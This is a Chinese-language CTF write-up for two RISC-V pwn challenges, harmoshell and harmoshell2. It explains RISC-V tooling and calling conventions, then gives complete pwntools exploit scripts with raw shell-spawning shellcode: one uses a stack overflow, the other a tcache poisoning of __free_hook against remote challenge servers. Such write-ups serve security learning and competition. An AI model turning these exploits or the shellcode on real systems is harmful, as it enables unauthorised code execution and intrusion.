HarmonyOS和HMS专场CTF Risc-V Pwn题解
上周末抽空打了一下HarmonyOS和HMS专场CTF,做了两个Risc-V的Pwn题目。
Risc-V分析方法
静态和动态分析
计算机指令集可以分为两种:复杂指令集和精简指令集。
复杂指令集以x86指令集最为常见,多用于传统桌面软件,善于处理复杂的计算逻辑。精简指令集有ARM、MIPS和Risc-V等。ARM广泛应用于移动手持终端以及IoT设备,但是ARM指令集虽然开放但是授权架价格太高,而Risc-V是一套开源的精简指令集架构,企业可以完全免费的使用。
目前来讲,现有的工具链已经足以支持Risc-V的逆向分析。
在静态分析层面,Ghidra 9.2对于Risc-V的反编译效果不错(IDA 7.5尚不支持Risc-V),所以静态分析Risc-V用ghidra已经足够。
在动态调试层面,qemu已经集成了risc-v架构,可以支持该架构的模拟运行。在有lib的情况下,通过QEMU用户模式,添加-L
参数选择lib路径,通过-g
指定调试端口。在gdb高版本中,已经可以支持risv架构,同时配合gef插件,设置target remote连接QEMU的调试端口:
可以对risc-v进行正常的调试,包括下断点,查看内存等常见功能。
解决了工具链的问题,在逆向层面来讲,已经大大的降低了risc-v分析的门槛。为了更好的进行漏洞挖掘与利用,需要稍微学习一下risc-v的函数调用规则和指令集。
Risc-V函数调用约定
Risc-V函数调用也是基于寄存器和栈的,每次函数调用时优先利用寄存器传参,如果寄存器无法满足需求再利用栈传参。Risc-V寄存器种类和数量如下表所示:
在参数保存之后,通过jal
指令跳转到函数开始执行。jal指令的规范为:
jal ra, offset
将会把下一条指令(pc+4)地址存放到ra寄存器中,然后跳转到当前地址+offset位置开始执行。
在子函数中,将会把ra寄存器存放到栈上,在函数返回时从栈上恢复ra寄存器,这里也就存在栈溢出的机会
。
我们以下面这段代码作为demo:
#include <stdio.h>
int add1(int m ,int n)
{
return m + n ;
}
int add2(int m ,int n)
{
char ss[10] = "hello";
printf("%s", ss);
return m + n ;
}
int main(){
int m = 2;
int n = 3;
int sum1 = add1(m , n);
printf("%d\n", sum1);
int sum2 = add2(m , n);
printf("%d\n", sum2);
return 0;
}
编译后看一下反汇编:
将参数mv到a0和a1寄存器上后,跳转执行add1函数:
此时add1函数并没有调用子函数,即为叶子函数
,此时并不需要从栈中恢复ra寄存器。
而在add2中,在函数开始位置将ra寄存器存放到栈上:
在函数结束后从栈上恢复ra寄存器:
harmoshell
这是一个简单的shell,可以支持touch
、ls
、rm
等命令:
echo里面有一个栈溢出
这里的read有机会再0x30号文件的时候,输入0x200字节到栈上,但是auStack320
只有264字节的长度,妥妥的栈溢出。同时echo功能也可输入写入到堆中:
考虑到该题目并没有NX,并且QEMU用户模式,堆没有随机化,所以漏洞利用,仅仅需要覆盖返回地址跳转到固定的堆地址上执行shellcode即可。
接下来需要解决Risc-V shellcode的问题,遗憾的是pwntools目前无法支持risc-v的shellcode生成,我们在shell storm上面找的了一个例子,修改之后即可使用,最后的exp如下:
#coding=utf-8
from pwn import *
context.log_level = 'debug'
# context.binary = "harmoshell"
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x ,drop=True)
sn = lambda x : io.send(x)
rl = lambda x : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
gdba = lambda : gdb.attach(io)
ioi = lambda : io.interactive()
def dbg( b ="source loadsym.py"):
gdb.attach(io , b)
raw_input()
def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
def menu(cmd):
ru("$ ")
sl(cmd)
def op_touch(file_name):
cmd = "touch " + file_name
menu(cmd)
def op_rm(file_name):
cmd = "rm " + file_name
menu(cmd)
def op_cat(file_name):
cmd = "cat " + file_name
menu(cmd)
def op_ls():
cmd = "ls"
menu(cmd)
def op_echo(file_name, buf):
cmd = "echo > "
cmd += file_name
menu(cmd)
sl(buf)
def op_rm(file_name):
cmd = "rm " + file_name
menu(cmd)
io = remote("121.37.222.236", 9999)
for i in range(0x30):
op_touch(str(i))
shellcode = "\x01\x11\x06\xec\x22\xe8\x13\x04\x21\x02\xb7\x67\x69\x6e\x93\x87\xf7\x22\x23\x30\xf4\xfe\xb7\x77\x68\x10\x33\x48\x08\x01\x05\x08\x72\x08\xb3\x87\x07\x41\x93\x87\xf7\x32\x23\x32\xf4\xfe\x93\x07\x04\xfe\x01\x46\x81\x45\x3e\x85\x93\x08\xd0\x0d\x73\x00\x00\x00"
op_echo("0", shellcode)
payload = shellcode
payload += "A"*(0x138-len(payload))
payload += p64(0x0000000000025f10)
op_echo(str(0x30), payload)
ioi()
harmoshell2
这个题目整体逻辑上和harmoshell是一样的,但是不存在栈溢出了,经过逆向在FUN_00011384
函数位置找的了堆溢出:
可以看到这里的每次输入后,就会将buffer指针向后移,多echo几次就可以造成堆溢出,同时发现lib其实就是./lib/libc-2.27.so
,那么这个问题就简化为了一个容易的libc堆溢出题目了。思路如下:
- 申请并释放7个文件,填充tcache
- 释放一个文件,进入unsorted bin
- 申请出来,泄露libc地址
- tcache bin attack打free_hook,写一个堆地址
- 在堆中部署好shellcode
- free释放执行shellcode
其实远程泄露的时候发现libc地址也是不变的,但是远程的qemu中的libc地址和本地qemu中libc中地址是不同的,堆地址远程和本地相同,所以exp中就直接写死了。
#coding=utf-8
from pwn import *
# context.log_level = 'debug'
# context.binary = "harmoshell"
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x ,drop=True)
sn = lambda x : io.send(x)
rl = lambda x : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
gdba = lambda : gdb.attach(io)
ioi = lambda : io.interactive()
def dbg( b ="source loadsym.py"):
gdb.attach(io , b)
raw_input()
def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
def menu(cmd):
ru("$ ")
sl(cmd)
def op_touch(file_name):
cmd = "touch " + file_name
menu(cmd)
def op_rm(file_name):
cmd = "rm " + file_name
menu(cmd)
def op_cat(file_name):
cmd = "cat " + file_name
menu(cmd)
def op_ls():
cmd = "ls"
menu(cmd)
def op_echo(file_name, buf):
cmd = "echo >> "
cmd += file_name
menu(cmd)
sn(buf)
def op_rm(file_name):
cmd = "rm " + file_name
menu(cmd)
io = remote("139.159.132.55", 9999)
libc_base = 0x4000986000
libc = ELF("./lib/libc-2.27.so")
for i in range(0x5):
op_touch(str(i))
for i in range(0x5 , 0x20):
op_touch(str(i))
for i in range(5 , 0x20):
op_rm(str(i))
op_touch(str(0x20))
op_cat(str(0x20))
shellcode = "\x01\x11\x06\xec\x22\xe8\x13\x04\x21\x02\xb7\x67\x69\x6e\x93\x87\xf7\x22\x23\x30\xf4\xfe\xb7\x77\x68\x10\x33\x48\x08\x01\x05\x08\x72\x08\xb3\x87\x07\x41\x93\x87\xf7\x32\x23\x32\xf4\xfe\x93\x07\x04\xfe\x01\x46\x81\x45\x3e\x85\x93\x08\xd0\x0d\x73\x00\x00\x00"
payload = "a" * 0x50
op_echo("0", payload)
lg("free_hook", libc_base + libc.sym['__free_hook'] )
op_rm("1")
payload = "b" * 0xb0
payload += p64(0) + p64(0x31)
payload += p64(0x31) + p64(0)
payload += p64(0x26050) + p64(0x100)
payload += p64(0) + p64(0x111)
payload += p64(libc_base + libc.sym['__free_hook'] - 0x10) # 0x4000aa3838
op_echo("0", payload)
op_touch(str(0x5))
op_touch(str(0x6))
op_echo("2" , shellcode)
op_echo("6", p64(0x0000000000026190) * 4)
ioi()
总结
- Risc-V从工具链来讲,已经
具备出成CTF题目
的条件 - Risc-V题目是
新瓶装旧酒
,在指令集熟悉之后,该逆向逆向,该Pwn还是Pwn